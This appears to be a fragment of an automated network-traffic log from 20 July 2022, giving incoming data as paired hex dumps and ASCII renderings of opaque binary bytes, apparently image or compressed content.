14 9e bf b7 4c ca ca 6e 49 3e 5a 7f cd da 09 b2 23 18 e9 10 Data Ascii: w?C?-+Xld%Xq(b+["^YQ6M!\?L%)kUw_<_2sZ!-prO~rNC$LQ/S:`kSPmu9^3W'J(QGZ?bXnwt=eLs].{LnI>Z#
2022-07-20 17:09:02 UTC	8334	IN	Data Raw: 5c 69 50 3d 0e fb d6 a6 4c e8 00 e1 07 0c 40 b9 6b 1d 3b 7c f8 fd 5d 70 e0 ae 66 9e 32 21 d1 b5 76 ea 22 a2 29 8c 7a be 5f 25 11 5c b6 56 5b 1e 29 20 d0 03 09 01 dd b8 36 e1 ba fd ec 49 4c db 15 4c 3a e7 41 24 44 92 09 f5 6c 9f c4 58 bd 5c 9a 3d 0e c5 55 cd be 59 d2 b2 64 e0 92 18 c8 03 20 3e ad 41 f7 ba 7b 8e be f2 a7 83 06 5e 46 cc 87 1c 12 83 48 1b da 8f 79 df f6 2a e3 b8 28 1c 10 33 de bf 04 bf 33 f2 fb 2a 5e 16 60 79 97 77 fb 74 8b 21 73 39 75 e4 90 2e 56 13 90 43 37 4c 64 9d 28 9b ff 00 af 42 cb a3 2f 21 ce 9d 31 0e d8 1e 51 fd 3d 5d 6a 78 f0 e9 0e cd ea df 77 49 20 ea b7 6b 73 fc aa c7 f3 4c 3c 88 66 12 22 95 c4 9a e5 09 ec a3 7d df 19 3d e7 73 d6 55 ae d9 8c a4 e9 83 a8 e2 f3 7f e4 ab 31 f7 1c 8e 77 fc 3d 6a af 2b 0d 4f ac 8f 7e 32 6d 6b da 4d ee Data Ascii: \iP=L@k;\|]pf2!v")z_%\V[) 6ILL:A$DlX\=UYd >A{^FHy(33^`ywt!s9u.VC7Ld(B/!1Q=]jxwI ksL<f"}=sU1w=j+O~2mkM
2022-07-20 17:09:02 UTC	8350	IN	Data Raw: 1e 03 b4 92 8c 96 ba b3 06 8d 81 b3 5b b1 be c9 a7 d6 e9 a3 4e 92 e3 2b b1 dd 65 eb 76 d8 71 a6 7f e1 50 6b 62 ab f3 5a b3 59 5c 9a 2c c0 f3 60 4c 44 ae 49 68 dc 15 90 5f 7b d6 c3 fb 7e ca 98 f2 af 95 f1 f9 45 e7 9a 4e 24 96 da 7b 16 f1 70 f7 bb b4 fd 30 60 40 10 22 ec db f9 7d 2f 1d 53 cc 39 4e 3e 49 49 5c 12 c8 08 01 76 51 4f df 09 ce 31 8f e5 e2 c7 de 05 fb 4f a7 fe 9a 54 a4 65 35 27 26 a0 65 e4 38 79 98 bc 28 dd c4 6e 75 06 d6 4f d5 df f1 d5 90 e0 72 de 57 65 68 20 4d 4a 15 0b 1d ae c3 b5 eb 1f bf 46 88 e4 81 22 8e 05 22 2b 90 c2 c2 eb b3 75 f7 b7 e8 3c ec 35 91 f8 92 c5 1c f1 a7 76 d7 6b f8 b7 fd 5a 7e 25 2a 39 e4 8c 81 99 c1 f7 b7 c2 3f eb d1 11 fd 35 54 50 72 d5 24 06 13 c8 ec 4e 95 6b 9f d1 7f 75 e3 96 8d e5 c0 43 26 93 02 20 3b 01 b8 77 63 e9 2e Data Ascii: [N+evqPkbZY\,`LDIh_{~EN${p0`@"}/S9N>II\vQO1OTe5'&e8y(nuOrWeh MJF""+u<5vkZ~%*9?5TPr$NkuC& ;wc.
2022-07-20 17:09:02 UTC	8366	IN	Data Raw: 24 4c 16 6d 2a 3f fc 13 7e 3d 1f ca ac ee 22 3e 2c 8a 63 b3 5a 40 6e db 10 e8 3b ba fc c7 ad 1c fc ca 19 35 4d 90 89 0e 56 a3 6d 1b 9d 5e cd 74 b6 a8 e9 1d c3 60 85 82 75 b3 f8 9f b1 fd dd 74 58 31 20 1c 31 d8 be 6a f3 ac 33 6b c4 cc 49 61 8f 5d e2 d6 81 2c 5c 7a c6 7c d8 91 21 ed fb 34 aa f3 30 e3 78 99 84 c7 21 e2 60 18 31 ec af 61 3d 5a 77 bf 17 de d3 2f 96 79 8e 74 a8 f0 48 38 b0 35 83 29 3b e0 b9 f7 3a d7 82 d1 a2 f6 f8 9d ba e7 cc 18 f9 1c b7 8b 1c 7c 35 8d a3 20 95 5b b4 83 76 3d fe 23 71 22 e0 f8 3d 95 23 a0 55 4c 82 43 1a 36 92 22 a7 52 2c fc 8b 53 16 2c ea d8 e4 ca d9 5c d2 99 f1 61 99 09 92 d1 f4 29 b9 16 3e cf 82 fa 3c fe fd 64 f9 ac 63 1f 27 86 0d c0 24 8f c9 dd ad 8f c3 97 88 cb 15 89 8d 1d 49 3e 78 d4 af 37 f0 5f 7f cc ac c4 3c bd 72 22 93 Data Ascii: $Lm*?~=">,cZ@n;5MVm^t`utX1 1j3kIa],\z\|!40x!`1a=Zw/ytH85);:\|5 [v=#q"=#ULC6"R,S,\a)><dc'$I>x7_<r"
2022-07-20 17:09:02 UTC	8374	IN	Data Raw: 41 85 8e 56 02 22 53 72 4b 1b b1 3e 7c 9d fa e6 24 46 29 c6 d2 51 ae a5 d4 5a 40 3f 0b fe 4a ab 92 73 d8 39 da 15 41 a2 48 bb a4 6a 20 78 e9 8a a3 c2 bb a4 3b 5b 65 f7 6e 7c f6 aa ce e6 23 bd 97 f3 39 e4 f9 ff 00 97 bf 46 8a 2d a1 ac cf cf 59 b1 c3 14 78 58 f3 16 db bf 10 1e b0 af 71 a6 93 fe 9d 63 33 b1 99 74 95 06 da 7c 95 f5 b8 f0 15 a4 19 06 24 59 c6 d0 fa 46 c7 b6 8f af 49 b2 b9 d7 2e cb c9 7c 2e 6b 12 a8 56 21 5c ed 57 3d ed e5 ec 56 ac 1f 8b 81 61 14 5a 47 ac ab 1d 26 58 b2 25 89 d3 86 be 56 b1 b6 bd 2a 2e 7a ab 55 f2 19 45 cd 63 97 29 8d 63 4d 41 35 69 d6 d7 f0 27 b4 d3 e0 a3 7e 73 f9 5f 17 02 25 ce c2 6d 0a e6 da 6f 75 e8 f7 6f 59 8e 41 cd 97 93 66 0c a7 52 f6 56 16 eb bb 56 b4 92 af e2 7d 93 18 43 64 e3 15 53 ba f9 f9 2a a0 4e 93 8c b8 6b ec f3 Data Ascii: AV"SrK>\|$F)QZ@?Js9AHj x;[en\|#9F-YxXqc3t\|$YFI.\|.kV!\W=VaZG&X%V.zUEc)cMA5i'~s_%mouoYAfRVV}CdSNk
2022-07-20 17:09:02 UTC	8390	IN	Data Raw: 59 16 b8 a3 3c 4d 9f 96 d7 35 4b e6 89 94 2d e4 2a b7 1b 09 03 67 63 47 73 dd f1 37 fc ca a2 a1 af a6 b5 61 ac 7f 3d 54 f8 f1 5e cc d6 20 ed 27 65 b6 e9 f1 68 a5 79 aa b8 cc 62 94 16 62 76 5b bb f8 7e 9d 35 4c 9d 1a 9e 2b 2b 81 b3 56 f5 c6 e6 ee ff 00 63 d0 dc a0 27 c4 9b 25 83 5d d8 81 72 09 b6 f5 fb 5f 62 ad 42 6c db e6 cb 4b 75 be cd b5 e1 83 a1 42 85 5b da f6 f4 be eb ef 3b 15 c9 f1 12 25 24 11 a5 46 d2 0d bf e7 a9 c1 1d 81 5b 68 f2 5c df 6f 77 d9 ef 6b af 73 39 38 c8 b1 a7 b4 1b ce 6d db 6f 33 cd ef d1 86 6c c0 be 9c c6 98 00 b6 be 8a 5d 12 b0 16 62 01 bd 87 d3 56 e4 be 85 04 30 2d b0 5e a5 a5 4a 28 4b 95 d4 0e de d1 f1 6e fa 74 0e 4b eb 36 1a bc 9b 7a 6a c2 ef 1b d2 98 d8 57 35 1b ed 3b 0d 89 fc d4 4c 82 38 b2 1a 3d 5a 90 81 63 e5 d4 38 89 43 42 9a Data Ascii: Y<M5K-*gcGs7a=T^ 'ehybbv[~5L++Vc'%]r_bBlKuB[;%$F[h\owks98mo3l]bV0-^J(KntK6zjW5;L8=Zc8CB
2022-07-20 17:09:02 UTC	8406	IN	Data Raw: a1 4d ad 6e 83 d8 fe 5e 8a a1 d2 29 50 bc 9b ce 0f 41 fc bc 3a 1e 7c d6 88 aa a8 d4 d2 01 a5 88 f2 ff 00 7a ba f1 b9 9d 75 10 c3 48 da 06 cb 8e d5 42 a5 ad cb 52 48 a2 67 85 03 95 5b 1d 4f 70 47 46 9f 77 aa 97 64 03 09 e2 41 d9 17 24 30 06 d4 e2 53 1c 71 ac cb 6d 45 94 8b 74 6e ef cc c9 da fd 3a 5c d1 a3 ea 2c 4b 31 62 4e cd 84 77 6b a2 6f 4e cd 9e d5 43 0a 82 c2 52 05 63 d0 46 ab f5 ef 69 fd 4a ad db 88 57 a8 6d da 7c bf b7 44 12 4c 7a 09 16 5d 20 db a6 de 75 4a 18 75 ef 4a 37 47 5d 33 2b 5c 9a 1b 5e a4 ed c2 46 5b ea 65 04 6d 1b 35 0d 3f a7 54 18 25 86 25 ca 56 d2 0d c5 d4 e9 22 de 67 8d bc ca b2 77 72 fa 5c 58 b0 b1 b6 db f8 37 bd 1a 86 2c 65 2c 41 d2 e4 85 0a dd 9b b7 bd d5 27 b3 4e fa 54 0d 05 ff 00 a7 d6 a9 62 4e 95 21 1e 49 1a e0 25 9c 9b c9 aa db Data Ascii: Mn^)PA:\|zuHBRHg[OpGFwdA$0SqmEtn:\,K1bNwkoNCRcFiJWm\|DLz] uJuJ7G]3+\^F[em5?T%%V"gwr\X7,e,A'NTbN!I%
2022-07-20 17:09:02 UTC	8414	IN	Data Raw: 51 6d e6 e1 bb fe 1c 74 d2 a4 aa a9 39 06 5e 1e 7a 54 a1 90 b5 c0 8c 32 71 22 f5 99 97 d7 4f bc a1 30 e0 9e 5c e9 22 68 06 41 81 99 74 6d d3 fc 5d c6 4d 7b 94 e7 9f ca b0 98 f1 a3 52 b3 40 ca ea 1b a1 78 83 d8 43 f8 30 d4 33 7e 58 c9 9b 23 22 68 8b 09 35 6a 50 06 c9 2c ab bf 1c fa bb fe ee 95 73 3e 64 33 32 62 62 c5 a6 31 00 de 5b a6 ad 5a a9 56 e8 a9 c7 77 8a aa c0 23 dd 72 e1 82 0c a4 3b df 16 5f 87 9f cc f7 54 24 59 b2 ac eb 3e a2 24 0c 1a e3 66 da 9e 2e 06 4e 5c 9a e2 56 99 cb 13 b0 6a b9 ed ef 51 78 fc a5 73 6d 1c 6c a8 e4 5c 16 27 4f e8 d7 25 f8 ce 57 1b 42 a1 91 76 29 70 08 57 20 fb b9 7c 14 0b 27 51 14 ec 19 ef 3d 5d eb 07 20 45 82 49 c3 bf c2 d1 d5 b9 98 72 f3 ec 77 c4 c8 0b 1e 74 6f 78 b5 01 16 b1 bd c7 c6 ec f6 be ea 97 61 62 60 b0 4c 7d 3a 25 Data Ascii: Qmt9^zT2q"O0\"hAtm]M{R@xC03~X#"h5jP,s>d32bb1[ZVw#r;_T$Y>$f.N\VjQxsml\'O%WBv)pW \|'Q=] EIrwtoxab`L}:%
2022-07-20 17:09:02 UTC	8430	IN	Data Raw: 4f c8 30 a7 62 ef 0a ea 3d 24 0d a6 a9 cb f9 6f 0b 25 55 5d 34 e9 16 52 bb 0d be ad 38 26 bd 44 27 95 6d 66 6d 36 6f 57 62 2b 35 27 c9 78 4c 41 52 c0 8e 8d bf ad 55 cb f2 4c 4e 6e 24 20 f5 d6 a4 8b f4 9a f5 85 3b f9 de e0 0b 66 d6 a1 c1 6f 7a ca ff 00 f8 95 6b 68 9e c0 74 dc 5c da bc df 26 31 f7 a0 9b f5 8e aa d4 d8 57 b4 8a ef e7 a7 f3 7d 55 a9 c0 56 4d 3e 4b 91 1c 95 91 40 3d 76 24 d4 87 ca d9 3a 15 1e 40 42 5f 48 03 4d 81 ad 4e 91 5c d3 53 fc f4 de 27 ea d4 14 06 b0 d3 fc a7 9a ad 61 67 50 76 1a 87 fb 4e 7c 43 80 f0 92 b7 b8 23 6d 6e 99 5a a0 ca e6 9c 3f 10 90 e8 c1 1a 84 a0 35 f3 79 70 32 44 e6 59 61 7b a8 b6 d1 d3 e1 a0 9b 0a 68 1f 89 32 b0 2f f4 75 d7 d3 99 e4 5d 85 6f 50 66 57 ed c7 b4 55 a5 fc 49 80 b6 22 de ab 50 74 c0 24 f8 9a f9 d4 58 73 ec 7d Data Ascii: O0b=$o%U]4R8&D'mfm6oWb+5'xLARULNn$ ;fozkht\&1W}UVM>K@=v$:@B_HMN\S'agPvN\|C#mnZ?5yp2DYa{h2/u]oPfWUI"Pt$Xs}
2022-07-20 17:09:02 UTC	8446	IN	Data Raw: e7 ba 9b b9 5c 9d 47 47 2e 15 a7 26 9a 9f 0f 4f 2d 74 64 70 e6 e1 3d d9 d7 7b 67 66 8a 8f 36 5e 92 bf 9e a9 92 75 5b 47 b6 dd 44 7e f5 59 ad 9c 00 2f 65 e8 14 83 37 4c 91 16 51 01 bc be 66 6f 5e 88 d8 f8 57 83 33 ed 3b 49 35 d5 de 37 35 ed 42 c0 30 de eb 35 00 e7 b3 71 6e a1 d1 55 c8 17 b9 39 13 bd f3 bd 7a 8a b9 88 b5 93 ff 00 de 6b bc 46 88 69 04 5b af ae 84 6e 61 1a 30 59 5b 77 f2 52 b6 f9 8a 38 d4 eb 0a 85 d8 88 ef b6 f6 f4 3b f5 65 03 92 5e 3d c2 77 6e 9b 98 ff 00 77 5d 8f a6 9a 73 0c a6 c4 80 bc 7e b1 f6 1d 1e 5b f8 6a b1 98 c1 2e c8 4b db a2 a3 8b 96 af 1a 96 20 1b 5e bd ae 01 27 12 e2 ef fd b4 96 37 d0 af 0f b5 53 6a 5e 60 cf 32 24 bc 60 a2 f7 d0 c3 50 02 dd 95 f3 aa c3 cc 26 85 95 9c 16 52 c1 49 02 c8 2f f5 b7 59 e8 dc 7c c8 72 2f c2 60 e1 49 eb Data Ascii: \GG.&O-tdp={gf6^u[GD~Y/e7LQfo^W3;I575B05qnU9zkFi[na0Y[wR8;e^=wnw]s~[j.K ^'7Sj^`2$`P&RI/Y\|r/`I
2022-07-20 17:09:02 UTC	8454	IN	Data Raw: ed 5e e2 82 2f a6 f5 0b b3 1b 00 49 3b 2d 5e 12 80 ba 4d ef 7f 2e cf af 53 8d 75 fc 2b b2 38 b7 41 17 fa 6a 46 7d 63 45 c8 fa 05 7b 48 eb 37 3e 42 2b 8e 40 e9 1b 47 46 da ed b5 22 bc 0a 9d 86 e4 ff 00 6d 49 55 58 5f 6e cf e9 a6 aa 89 83 12 74 ec 1e 4a b7 e2 06 38 d2 db 0f 4d 8f 4e de f2 e9 a9 2a 7c 2a 01 be 95 d4 58 ce c6 d9 73 46 1c 6b 9d 01 86 a0 2f d5 4b b8 ca fd 00 5b e9 af 32 d9 b5 2e cb f4 d0 15 27 c6 d5 34 54 70 b1 26 e4 6c ea bd ff 00 56 ba d8 ce 82 ec 40 5f 28 a0 2e c0 95 51 b4 74 d5 a9 3c 9a 74 b9 36 1d 5e 5a 92 8d e9 15 df 9e ac 64 d7 da 04 93 d1 b6 db 3d 1d 35 0e 13 25 b6 12 3a ad 5e 19 0a 0e dd 83 c9 52 32 c8 c0 3a ec 06 bb 51 f9 ab 85 42 6c e9 55 d5 02 b1 1e 5e 9a 92 b3 2b 6b f2 f9 2b af 21 be dd a3 fa 6e b5 74 ac 86 da 74 91 d4 07 47 d6 ae Data Ascii: ^/I;-^M.Su+8AjF}cE{H7>B+@GF"mIUX_ntJ8MN\|XsFk/K[2.'4Tp&lV@_(.Qt<t6^Zd=5%:^R2:QBlU^+k+!nttG
2022-07-20 17:09:02 UTC	8470	IN	Data Raw: 5a 32 34 85 81 50 7a 7c 83 bb 55 c6 89 09 e1 c2 55 14 dd ad d2 4e ad ee 27 da a1 64 80 4b 2e ea 82 36 87 b1 22 df 5d 3f d5 e1 d7 31 24 90 a8 05 77 8b 30 1d 3a ac bf 8b 2a 45 ab 73 c7 50 22 5c 32 07 da 8e 86 c6 e4 54 c6 44 cc 03 c8 11 a3 37 d4 a0 ef e9 5e c7 0d 74 fa c7 d5 40 1e 71 c3 68 f1 49 5c 66 3b 6c ca 49 b5 f5 f6 fd 9c 52 ba 77 29 94 92 29 1c 1c a5 3a 48 3b 54 6f 0f 3f 8c bb 95 e0 b8 59 5a 59 08 74 ec 85 24 15 27 77 4f ab fb c4 ab 29 db 86 8c c8 b8 c8 a8 32 2a 9c 69 fd dc 9f 12 98 37 46 bf a2 86 93 98 c8 92 6a 20 34 62 e1 0a ef 6a d5 f7 ad ee ea fc 3c 81 3d ec 0a 10 01 40 de 13 da d0 8b fa f5 56 7c 99 51 1b 62 40 b2 a3 76 8e ad 1a 7c 5f c5 93 cc a8 e2 63 4f 34 42 24 d1 1a c5 d3 a9 b6 f9 ea d9 09 ad df 89 fc ba 5c 70 89 54 05 c1 5d b7 51 72 df 6f 99 Data Ascii: Z24Pz\|UUN'dK.6"]?1$w0:EsP"\2TD7^t@qhI\f;lIRw)):H;To?YZYt$'wO)2i7Fj 4bj<=@V\|Qb@v\|_cO4B$\pT]Qro
2022-07-20 17:09:02 UTC	8486	IN	Data Raw: f6 5a f4 f0 b2 c0 ec 58 83 2c aa bb 7a d4 a8 fb bd 5e 7d 07 97 91 26 4c 17 c6 37 25 b6 1d 85 86 ce 24 53 2f 8d 78 9b 94 9a 5c 85 96 51 90 9a e3 76 60 49 54 66 6d 7d 96 5e 26 e6 37 f4 96 a1 ca f3 67 c2 59 22 95 9b 8d a8 92 b6 5d 97 de fe 9c 39 29 af db a8 25 97 79 57 48 d6 4e 3f 6e 99 d3 03 ff 00 d6 8a 49 b2 a0 c6 8f 8e 08 91 d5 d8 6b 52 83 cf 81 1b c5 ef 3d 67 0f f0 eb b8 d8 ed 1c 44 c5 24 8d 20 0b ad b6 6d bf ac 8a 46 f3 2a ec 6e 69 1c d0 a6 d2 91 dc 69 57 0d 72 1b 77 bf af b7 ed 22 9b f9 74 26 36 5a 97 42 d1 b0 65 dd b1 1a b7 3d c4 9e af 73 5f f1 91 3f 0a 84 83 ad 97 1f 16 14 04 58 d3 97 79 15 24 90 4a 0b ad cb 58 5b 75 7f 0e 97 9c 7c b5 55 6c 61 a4 b2 b1 ba 91 b0 bf 63 8c 9d d8 b4 c7 f8 9e 65 71 f8 4f 90 c7 4b 17 d3 ba e0 d9 b7 b7 74 af bb f3 3b 1f 77 Data Ascii: ZX,z^}&L7%$S/x\Qv`ITfm}^&7gY"]9)%yWHN?nIkR=gD$ mF*niiWrw"t&6ZBe=s_?Xy$JX[u\|UlaceqOKt;w
2022-07-20 17:09:02 UTC	8489	IN	Data Raw: 6d 5a 16 50 2c 31 47 fe bd 6d c9 d8 11 77 8b 83 c3 2a 62 b3 2c 23 8b 32 ee a9 b5 cb 69 8d 88 67 5f 5d 2b 54 67 cd f8 c9 74 b2 0e 2b 95 d2 c8 7d 5e 83 ba 88 8f e0 dc ab 39 54 70 c7 11 48 65 9b 44 a3 49 46 3a 95 c9 55 d7 ea bd 97 99 ec fe ea a9 4c 33 04 c7 2b 24 07 0b ba a5 4b 2a dc 0d d5 68 9f 47 72 bc fc 91 a4 6e ca 72 ea a6 e9 e5 df f2 26 fd 66 14 65 24 37 85 53 8b cb 0c d8 b2 48 fa 84 e0 dd 00 3e cc 6a d0 ff 00 11 1f b4 ee 3e 8f e1 d1 8b ca a2 38 b7 79 19 9c 76 4f 42 03 d8 df af 20 c8 c7 32 32 90 71 9b 79 b4 df 71 98 6f 77 77 f7 3f 89 eb 3d 65 11 81 84 64 90 47 ac 34 24 81 e4 31 ec fb be e3 ea ec 71 3f 89 49 92 46 d4 e5 65 be 62 df e9 d7 63 e8 aa e5 ca 83 06 22 d1 8d 2c 36 95 3d f3 e0 e2 7f 4e 1d 03 0f 30 8c 33 68 46 06 4d e4 1b 35 6d df ec 2f 62 8e c2 Data Ascii: mZP,1Gmwb,#2ig_]+Tgt+}^9TpHeDIF:UL3+$KhGrnr&fe$7SH>j>8yvOB 22qyqoww?=edG4$1q?IFebc",6=N03hFM5m/b
2022-07-20 17:09:02 UTC	8505	IN	Data Raw: 3c 4f 68 dd fa 0b 37 92 66 f2 e4 2d 93 0b 22 ea d2 49 e8 bd 6c 79 fc 93 47 72 ba 96 34 6d 37 1d b2 bd b5 d7 c4 ec 3f b4 8d 26 d1 eb 7d 9d 29 86 79 b0 90 95 95 89 98 6e 82 37 45 bd 97 17 f1 97 cc ab 0b db 64 2e 0d 26 f3 4a 3a 86 db da 28 b5 66 d2 42 14 0b d4 a3 93 71 81 fa 2b 41 9d f2 fc 59 6c 65 c7 22 27 6b 9d 37 f5 6c df 85 df 8b 88 ff 00 79 b9 45 62 72 a4 e4 a8 5d 02 cf 3b 01 66 61 b2 3d 9e b7 73 b3 40 b0 c8 1e df f5 a2 13 1d 05 b7 ab 37 8c ef 01 d4 c0 e8 3e 51 ba de 65 1b 8f 99 1c 6a cb 16 c6 6b 8f a2 de 65 35 51 8d 8f 03 a6 74 9c 5e 21 db 18 3d 8f 06 8f 07 f1 53 f8 74 8b 99 08 f1 f2 5a 28 c1 55 4d 96 6e d5 59 5b c5 b7 79 2a 43 07 d1 86 8a 76 f9 a8 b9 f3 99 f6 dc 96 b8 e9 db b7 f7 2a 03 98 3a b5 ec 2e 2d b4 0d 36 f1 76 29 77 14 96 da 6a 70 2b cc eb 1a Data Ascii: <Oh7f-"IlyGr4m7?&})yn7Ed.&J:(fBq+AYle"'k7lyEbr];fa=s@7>Qejke5Qt^!=StZ(UMnY[yCv:.-6v)wjp+
2022-07-20 17:09:02 UTC	8521	IN	Data Raw: 36 d1 d0 3c b5 6c 58 fc 47 11 dc 8b 74 d5 78 20 b3 3c bf 4d 85 35 e5 f8 a6 49 cc a3 a0 a7 fc 7d 5f e8 52 a5 90 a8 62 4f 08 a5 c9 21 61 bd 4a 5d 0a ec 35 34 6d 22 de 4a 1f 2c b4 73 b0 52 76 9d 82 88 12 05 f6 97 b1 e9 b5 35 80 21 7d 6a 0b 30 35 24 c8 60 74 f5 79 2a 5a 62 b1 2a ba 5b ae dd 1f 66 8b 7c 0c 56 c5 19 50 cf a9 ef 63 19 5b 3a d0 aa 82 95 75 60 59 32 18 e8 dc 95 27 24 20 37 37 0d 09 3c 46 22 4f 76 fd 55 52 ab 3d 82 82 49 e8 14 f3 2b 97 34 78 a9 9c 1b 72 47 28 47 90 a8 5f d7 aa f9 64 2a 27 53 6e 8d b4 63 ba b4 65 86 f6 3b bf 39 29 e9 dc 48 a2 c7 f4 5e 97 9e 5d 90 8e 62 91 0a 38 17 21 b6 75 6a a3 b1 70 a3 11 5d 94 33 be c1 7a 63 9a dc 5c c1 27 96 c0 fe 4a aa 25 b4 80 0e 85 dd fe aa ae fd d3 ba 0b ee 9b 64 71 a2 69 dc 8a 0b 27 02 24 3b 9b 96 3d eb d5 Data Ascii: 6<lXGtx <M5I}_RbO!aJ]54m"J,sRv5!}j05$`tyZb[f\|VPc[:u`Y2'$ 77<F"OvUR=I+4xrG(G_d*'Snce;9)H^]b8!ujp]3zc\'J%dqi'$;=
2022-07-20 17:09:02 UTC	8525	IN	Data Raw: 4e ee eb 76 28 7e 4e d9 10 93 36 3c cd 10 bd 99 46 d5 7b f8 d1 fd 5d 31 e4 f9 87 e3 72 72 e5 ed 32 b1 fc f7 fe e5 66 f7 0e 3a 2e 15 af 27 dd e3 8e 14 68 d9 2e f8 de 5d d5 dd e4 a5 59 eb 6c a7 d1 b5 10 e9 ae 15 d3 91 a7 ca c4 d7 14 96 6b b7 4b b5 ea d9 50 fc 60 1e 55 04 9f 26 ed 06 c1 6f 42 54 9d 95 6e 53 0e 18 41 d2 dd 3e 8d 2f 78 80 34 5b dd da e3 af a3 f2 0e cd 57 22 6d da 2b 93 77 4a 59 b5 a9 cf ca b0 df 19 dd 86 c5 76 6f b2 a9 55 fc f1 20 c2 e5 d1 62 0e dc c6 e7 f2 2e f7 eb d5 3c bf 17 29 70 c4 81 4f c2 bb 95 91 86 d3 a4 32 b3 7a bf a9 59 ff 00 9a f9 e1 e6 f9 c6 4b 69 48 c6 85 03 e8 a5 c3 03 4b dd 66 0e 49 1b 33 b5 b9 59 3e 1d 14 76 0b 7f e8 a1 b9 2f aa ca 85 ef b4 be 9b 5b cb b9 4d d7 0f e2 79 8c d1 81 bd a4 ff 00 58 a4 e7 9b 33 08 31 96 dc 38 dd 5a Data Ascii: Nv(~N6<F{]1rr2f:.'h.]YlkKP`U&oBTnSA>/x4[W"m+wJYvoU b.<)pO2zYKiHKfI3Y>v/[MyX318Z
2022-07-20 17:09:02 UTC	8541	IN	Data Raw: 97 bb 91 f4 0f f8 53 4e 53 0a 83 c4 7e c8 1d 7d 14 95 32 03 c8 50 1e c9 a2 9e 66 75 11 8b 84 1d 5f b4 d4 12 21 23 1e 1b d1 a3 00 2f b6 98 f3 4c c8 b2 65 8b 85 d9 4f a3 ae f4 b7 09 99 86 ce d5 c5 ab b1 82 c4 5c 6c a9 72 a5 32 64 46 be 26 14 21 44 68 40 d8 a2 bb 2c b5 a2 11 bf db b3 87 09 6d 1a 8d 36 1d 16 f7 95 de 79 93 f1 13 58 74 2e c1 4c 73 31 e3 24 3b 74 af ff 00 0d ea ce c9 3e b9 48 eb bd 04 56 90 87 b6 f2 2e 37 a1 63 8e 87 c4 d3 ac 1e 54 f9 98 de ac 0b ed b8 34 97 22 11 04 dc 37 03 89 16 a5 bd fc 7a 77 69 f7 2f c9 78 55 55 0f 48 a4 19 f1 b9 96 47 fc ff 00 d5 45 09 62 ec 09 dd e5 a1 72 aa 43 0f 4e 26 94 64 48 c1 a5 42 74 c6 d6 1f 67 c3 52 e5 79 d0 44 fc 22 34 ab ec 27 af d3 a1 e5 91 73 1b 41 36 93 bb e4 6f 36 97 cc 8c 84 82 2c 47 55 6b 2c 41 86 27 74 Data Ascii: SNS~}2Pfu_!#/LeO\lr2dF&!Dh@,m6yXt.Ls1$;t>HV.7cT4"7zwi/xUUHGEbrCN&dHBtgRyD"4'sA6o6,GUk,A't
2022-07-20 17:09:02 UTC	8557	IN	Data Raw: 3d 2c 7c 55 95 cc 48 e4 c3 ff 00 70 c9 8e 59 24 61 60 ca 40 89 5a fe fd df 7f d0 4a 28 58 77 72 87 b6 ea 33 c4 aa 79 f7 29 ca 82 34 c0 ed 61 95 57 89 f3 1c 8c c1 64 85 49 f2 a9 28 6d fa 71 d5 f9 1c d3 27 97 a5 f1 8f 08 ca bb c4 76 ac 0b ee ea a4 7c bf 3e 36 ca 8f 8e a3 82 1b 6a 8b ed 1e 1d 5d bf af 4f db 36 14 c1 70 63 0c 24 2e 8a cd b4 c7 ef 17 47 9f bf 56 25 89 51 80 c2 e1 ad 92 f2 54 c7 75 1a 9d 6f 57 7c 9a ad 26 36 56 54 a6 fb a5 47 e6 1c 67 ff 00 a7 5e e5 70 09 39 7e 4b 9e d4 68 92 2f 97 52 97 6a bb 1e 21 cb 70 86 38 b8 3c 36 24 79 ee 35 3e af 42 a3 81 3a e3 62 cd 1f 5c 80 a8 b7 d0 bf fa 94 9b 86 76 7d aa f2 26 ef 06 e4 54 83 26 4a cc 74 c4 e2 5a ac e6 79 c3 99 18 f2 00 00 b4 49 aa de 31 a9 25 fd 3a ce 73 dc 72 23 5c 90 36 03 a1 8f e5 df 8b f6 e9 be Data Ascii: =,\|UHpY$a`@ZJ(Xwr3y)4aWdI(mq'v\|>6j]O6pc$.GV%QTuoW\|&6VTGg^p9~Kh/Rj!p8<6$y5>B:b\v}&T&JtZyI1%:sr#\6
2022-07-20 17:09:02 UTC	8565	IN	Data Raw: 81 3a f6 b1 fa 3b a9 56 a1 01 11 54 9f 0d 69 c9 11 c4 0d 9e 2c 7c b4 36 4c b2 73 29 82 c4 a5 82 ec 45 02 e6 df df ad 37 ca 38 d3 e3 ac e9 32 32 5f 4d b5 02 3c 74 ef ff 00 6f 79 48 85 5f 31 d4 05 ec 27 d2 7d eb d3 ff 00 98 21 2b 14 72 b1 24 eb d3 b4 f7 59 5f 77 47 63 b9 54 bb a2 d2 c2 f6 0a 23 5e 1c 79 ba 7b f2 56 8c 22 ea 31 dd 03 85 7d 5a f9 c7 38 1a 5d 87 46 df fe 34 24 5b b1 96 eb bd 1d cf 56 d2 30 eb bd 0c e8 12 3d de 83 e5 a5 c6 77 17 e5 aa 58 ed b7 83 57 71 c9 e9 14 ff 00 92 fa c7 d2 6c 05 67 a0 24 0a 73 85 95 c1 c2 9e 55 53 ad 63 20 11 d2 59 fd 5a 7e 9b d2 7b 85 24 58 6d 6d d1 f3 a8 e1 01 a4 02 f6 d6 94 63 cf 0f 30 cd 92 51 1a a4 2a 5d 98 f6 99 ec 78 8f a9 fc ff 00 65 16 8f bc a0 27 f9 8f 3d 65 97 85 33 22 c8 d7 65 53 65 2d e8 f9 b4 cf 97 43 f0 d0 Data Ascii: :;VTi,\|6Ls)E7822_M<toyH_1'}!+r$Y_wGcT#^y{V"1}Z8]F4$[V0=wXWqlg$sUSc YZ~{$Xmmc0Q*]xe'=e3"eSe-C
2022-07-20 17:09:02 UTC	8581	IN	Data Raw: b5 12 cc d2 36 47 4f d9 5a a8 44 11 8b c6 34 9b 5b 65 2e 38 92 40 c4 b6 d1 e2 14 e8 c1 bb a8 1b f9 6a 1a 0d a9 36 89 94 f4 cd 9d 77 58 35 17 59 d2 c1 8e 6b 48 39 86 41 5c 66 00 ef 48 74 fd 5e db d2 b8 01 1b 2d 5a 8c be 4c 99 80 32 59 64 1d 17 ec 1f 4b c1 48 25 8e 7c 79 be 1e 75 d0 47 57 ed 79 f4 e8 f1 54 c4 1d 78 9a b5 bb 29 52 44 b2 f1 29 df a1 59 74 b5 74 0d b5 6e 43 2c 24 ec bb 75 7d 15 de 5b 8b 26 6c 82 28 85 dd 8d 87 f4 f3 69 85 82 a6 47 41 56 4b 01 73 4c 39 27 25 7e 69 30 51 d8 be f1 fd 8a d2 73 de 72 22 88 60 e2 1d 30 ae e9 d3 b3 57 8b f9 55 ec f9 62 e4 18 